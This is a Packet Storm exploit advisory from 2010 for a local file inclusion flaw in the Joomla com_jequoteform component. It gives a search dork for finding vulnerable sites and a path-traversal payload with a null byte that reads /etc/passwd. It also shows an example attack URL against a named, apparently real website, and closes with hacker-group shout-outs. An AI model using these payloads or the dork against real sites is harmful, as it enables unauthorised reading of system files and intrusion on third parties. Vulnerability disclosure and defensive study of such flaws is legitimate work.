Joomla JE Quote Form Local File Inclusion

2010-05-14T00:00:00
ID PACKETSTORM:89553
Type packetstorm
Reporter altbta
Modified 2010-05-14T00:00:00

Description

                                        
                                            `  
  
####################################################################  
>>>>> Author : altbta  
>>>>> Email : [l_9[at]hotmail[at]com]  
>>>>> Script : Joomla Component com_jequoteform  
>>>>> Bug Type : Local File Inclusion [LFI]  
>>>>> Dork : inurl:"index.php?option=com_jequoteform"  
>>>>> DoWnLoAd :  
http://joomlaextensions.co.in/free-download/doc_download/11-je-quotation-form.html  
####################################################################  
  
===[ Exploit ]===  
  
http://site/index.php?option=com_jequoteform&view=[LFI]  
http://site/index.php?option=com_jequoteform&view=../../../../../../etc/passwd%00  
  
===[ Example ]===  
  
http://arotonline.com/index.php?option=com_jequoteform&view=../../../../../../etc/passwd%00  
  
[~]##########~~{ altbta }~~##########[~]  
  
RoMaNcYxHaCkEr & sad hacker & ab0-3th4b & Mr.SaFa7 & Mn7oS & V ! V 3  
Evil-Cod3r & asL-Sabia & ! Dr.www ! & MaKKaWi & ZaIdOoHxHaCkEr  
  
home : [ v4-team.com ] & [ xp10.me ]  
  
  
  
`